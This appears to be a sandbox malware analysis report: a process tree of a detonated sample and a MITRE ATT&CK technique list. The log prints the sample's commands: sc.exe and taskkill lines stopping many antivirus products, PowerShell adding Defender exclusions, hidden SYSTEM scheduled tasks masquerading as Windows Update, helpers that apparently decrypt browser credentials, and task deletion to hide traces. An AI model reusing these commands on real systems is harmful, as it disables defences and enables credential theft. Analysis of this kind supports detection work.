  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "aswNetSec" start= disabled
      4⤵
      Launches sc.exe
      PID:552
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "aswNetSec"
      4⤵
      PID:3104
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton Security" start= disabled
      4⤵
      PID:5496
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton Security"
      4⤵
      PID:2616
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton 360" start= disabled
      4⤵
      Launches sc.exe
      PID:2860
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton 360"
      4⤵
      PID:2512
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Symantec Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:2780
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Symantec Antivirus"
      4⤵
      Launches sc.exe
      PID:3684
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Norton Internet Security" start= disabled
      4⤵
      PID:1084
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Norton Internet Security"
      4⤵
      Launches sc.exe
      PID:1644
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ccSetMgr" start= disabled
      4⤵
      Launches sc.exe
      PID:2612
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ccSetMgr"
      4⤵
      Launches sc.exe
      PID:5868
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ccEvtMgr" start= disabled
      4⤵
      PID:6004
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ccEvtMgr"
      4⤵
      PID:2936
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "NIS" start= disabled
      4⤵
      PID:1028
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "NIS"
      4⤵
      Launches sc.exe
      PID:5464
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "NAV" start= disabled
      4⤵
      Launches sc.exe
      PID:4484
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "NAV"
      4⤵
      PID:1200
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee Firewall" start= disabled
      4⤵
      Launches sc.exe
      PID:4360
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee Firewall"
      4⤵
      Launches sc.exe
      PID:3728
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee WebAdvisor" start= disabled
      4⤵
      Launches sc.exe
      PID:5076
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee WebAdvisor"
      4⤵
      PID:5968
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee VirusScan" start= disabled
      4⤵
      PID:3752
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee VirusScan"
      4⤵
      Launches sc.exe
      PID:944
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee Framework" start= disabled
      4⤵
      Launches sc.exe
      PID:3932
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee Framework"
      4⤵
      Launches sc.exe
      PID:3496
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee McShield" start= disabled
      4⤵
      Launches sc.exe
      PID:2408
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee McShield"
      4⤵
      Launches sc.exe
      PID:4940
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "McAfee SiteAdvisor" start= disabled
      4⤵
      PID:4464
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "McAfee SiteAdvisor"
      4⤵
      Launches sc.exe
      PID:5756
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Kaspersky Security" start= disabled
      4⤵
      PID:5084
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Kaspersky Security"
      4⤵
      Launches sc.exe
      PID:1096
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Kaspersky Anti-Virus" start= disabled
      4⤵
      PID:52
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Kaspersky Anti-Virus"
      4⤵
      Launches sc.exe
      PID:6112
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "kavfs" start= disabled
      4⤵
      PID:5944
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "kavfs"
      4⤵
      PID:1004
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "kavfswp" start= disabled
      4⤵
      Launches sc.exe
      PID:3804
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "kavfswp"
      4⤵
      Launches sc.exe
      PID:5064
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender" start= disabled
      4⤵
      Launches sc.exe
      PID:5060
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender"
      4⤵
      PID:1788
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:5628
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender Antivirus"
      4⤵
      Launches sc.exe
      PID:2088
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Bitdefender Security" start= disabled
      4⤵
      PID:2184
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Bitdefender Security"
      4⤵
      PID:4652
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ESET Security" start= disabled
      4⤵
      Launches sc.exe
      PID:4144
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ESET Security"
      4⤵
      Launches sc.exe
      PID:4308
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ESET Service" start= disabled
      4⤵
      PID:2852
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ESET Service"
      4⤵
      Launches sc.exe
      PID:4772
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ekrn" start= disabled
      4⤵
      Launches sc.exe
      PID:5540
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ekrn"
      4⤵
      Launches sc.exe
      PID:5364
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "eamonm" start= disabled
      4⤵
      Launches sc.exe
      PID:1508
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "eamonm"
      4⤵
      Launches sc.exe
      PID:4156
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Malwarebytes Service" start= disabled
      4⤵
      PID:5876
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Malwarebytes Service"
      4⤵
      Launches sc.exe
      PID:5788
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "MBAMService" start= disabled
      4⤵
      Launches sc.exe
      PID:636
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "MBAMService"
      4⤵
      Launches sc.exe
      PID:1312
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Malwarebytes" start= disabled
      4⤵
      Launches sc.exe
      PID:2368
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Malwarebytes"
      4⤵
      PID:1804
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Trend Micro" start= disabled
      4⤵
      PID:1376
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Trend Micro"
      4⤵
      Launches sc.exe
      PID:4184
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "tmccsf" start= disabled
      4⤵
      PID:5884
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "tmccsf"
      4⤵
      Launches sc.exe
      PID:1080
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "TmPfw" start= disabled
      4⤵
      Launches sc.exe
      PID:3944
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TmPfw"
      4⤵
      Launches sc.exe
      PID:4104
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "OfficeScanNT" start= disabled
      4⤵
      Launches sc.exe
      PID:1260
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "OfficeScanNT"
      4⤵
      Launches sc.exe
      PID:3112
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "AVG Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:5316
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "AVG Antivirus"
      4⤵
      Launches sc.exe
      PID:2480
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "AVG Security" start= disabled
      4⤵
      Launches sc.exe
      PID:1884
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "AVG Security"
      4⤵
      PID:4680
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "360TotalSecurity" start= disabled
      4⤵
      Launches sc.exe
      PID:4836
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "360TotalSecurity"
      4⤵
      Launches sc.exe
      PID:4740
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "360Safe" start= disabled
      4⤵
      PID:880
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "360Safe"
      4⤵
      Launches sc.exe
      PID:1384
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "WebrootSecureAnywhere" start= disabled
      4⤵
      Launches sc.exe
      PID:4624
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "WebrootSecureAnywhere"
      4⤵
      PID:2744
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "TotalSecurity" start= disabled
      4⤵
      Launches sc.exe
      PID:3512
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "TotalSecurity"
      4⤵
      Launches sc.exe
      PID:1716
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "IKEEXE" start= disabled
      4⤵
      Launches sc.exe
      PID:1960
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "IKEEXE"
      4⤵
      Launches sc.exe
      PID:5924
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "ZoneAlarm" start= disabled
      4⤵
      Launches sc.exe
      PID:4592
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "ZoneAlarm"
      4⤵
      PID:1220
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avastui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1424
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avgnt.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1280
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM avgui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3288
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM ccSvcHst.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4588
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mcshield.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:256
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM msmpeng.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1072
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM kav.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:708
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM kaspersky.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6048
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM bdagent.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2536
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM ekrn.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5820
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM egui.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4168
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mbam.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5504
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM mbamservice.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2904
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM TMBMSRV.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3680
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM PccNTMon.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4912
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM 360tray.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5456
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM 360sd.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5004
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM WRSA.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2992
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM vsserv.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4224
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /F /IM V3Svc.exe /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Windows\system32\svchost.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "svchost.exe""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5564
- - C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe add_exclusion QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c1xQcm9maWxlU3luYw==
    3⤵
    - Executes dropped EXE
    PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionProcess "ProfileSync""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5448
- - C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe re-enable_defender
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    - Windows security modification
    PID:5800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $false -DisableBehaviorMonitoring $false -DisableOnAccessProtection $false -DisableIOAVProtection $false -DisablePrivacyMode $false -MAPSReporting 1 -SubmitSamplesConsent 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3260
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WinDefend start= demand
      4⤵
      Launches sc.exe
      PID:5060
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" start WinDefend
      4⤵
      PID:4592
- - C:\Windows\System32\Wbem\wmic.exe
    wmic computersystem get model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1096
- - C:\Windows\SYSTEM32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:5364
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\RuntimeBrokerCache.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\RuntimeBrokerCache.exe --psh-guardian --monitor 3928
    3⤵
    - Executes dropped EXE
    PID:5456
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\RuntimeBrokerCache.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\RuntimeBrokerCache.exe --psh-guardian --monitor 3928
      4⤵
      Executes dropped EXE
      PID:4976
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:5452
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /tn "Microsoft\Windows\WindowsUpdate\WindowsUpdateCacheRefresh" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptABE_3928_092f11f2 /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4644
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptABE_3928_092f11f2 /f
      4⤵
      PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_abe_outer_3928_092f11f2.bin' 'C:\Users\Admin\AppData\Local\Temp\_abe_inner_3928_092f11f2.bin'\"; $principal = New-ScheduledTaskPrincipal -UserId \"NT AUTHORITY\SYSTEM\" -LogonType ServiceAccount -RunLevel Highest; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden; $task = New-ScheduledTask -Action $action -Principal $principal -Settings $settings; Register-ScheduledTask -TaskName \"DecryptABE_3928_092f11f2\" -InputObject $task -Force; Start-ScheduledTask -TaskName \"DecryptABE_3928_092f11f2\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptABE_3928_092f11f2 /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5084
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptABE_3928_092f11f2 /f
      4⤵
      PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptKSP_3928_edfd58bf /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1636
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptKSP_3928_edfd58bf /f
      4⤵
      PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\ksp_helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_ksp_blob_3928_edfd58bf.bin' 'C:\Users\Admin\AppData\Local\Temp\_ksp_out_3928_edfd58bf.bin' '785435725a573571565662727670754100'\"; $principal = New-ScheduledTaskPrincipal -UserId \"NT AUTHORITY\SYSTEM\" -LogonType ServiceAccount -RunLevel Highest; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden; $task = New-ScheduledTask -Action $action -Principal $principal -Settings $settings; Register-ScheduledTask -TaskName \"DecryptKSP_3928_edfd58bf\" -InputObject $task -Force; Start-ScheduledTask -TaskName \"DecryptKSP_3928_edfd58bf\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /delete /tn DecryptKSP_3928_edfd58bf /f"
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1104
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn DecryptKSP_3928_edfd58bf /f
      4⤵
      PID:4764
- - C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\msg_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\msg_helper.exe ZnVjayBvZmY= V2luZG93cw==
    3⤵
    - Executes dropped EXE
    PID:716

C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" "C:\Users\Admin\AppData\Local\Temp\_MEI34722\main.py"
1⤵
- Executes dropped EXE
PID:5996
- C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" "C:\Users\Admin\AppData\Local\Temp\_MEI34722\main.py"
  2⤵
  - Executes dropped EXE
  PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:1160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_abe_outer_3928_092f11f2.bin' 'C:\Users\Admin\AppData\Local\Temp\_abe_inner_3928_092f11f2.bin'
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2564
- C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\helper.exe
  "C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\helper.exe" C:\Users\Admin\AppData\Local\Temp\_abe_outer_3928_092f11f2.bin C:\Users\Admin\AppData\Local\Temp\_abe_inner_3928_092f11f2.bin
  2⤵
  - Executes dropped EXE
  PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoProfile -WindowStyle Hidden -Command & 'C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\ksp_helper.exe' 'C:\Users\Admin\AppData\Local\Temp\_ksp_blob_3928_edfd58bf.bin' 'C:\Users\Admin\AppData\Local\Temp\_ksp_out_3928_edfd58bf.bin' '785435725a573571565662727670754100'
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1196
- C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\ksp_helper.exe
  "C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\ksp_helper.exe" C:\Users\Admin\AppData\Local\Temp\_ksp_blob_3928_edfd58bf.bin C:\Users\Admin\AppData\Local\Temp\_ksp_out_3928_edfd58bf.bin 785435725a573571565662727670754100
  2⤵
  - Executes dropped EXE
  PID:4360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5132

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious use of FindShellTrayWindow
PID:4272
- C:\Windows\explorer.exe
  explorer.exe /LOADSAVEDWINDOWS
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4640

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1348

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

T1082

Virtualization/Sandbox Evasion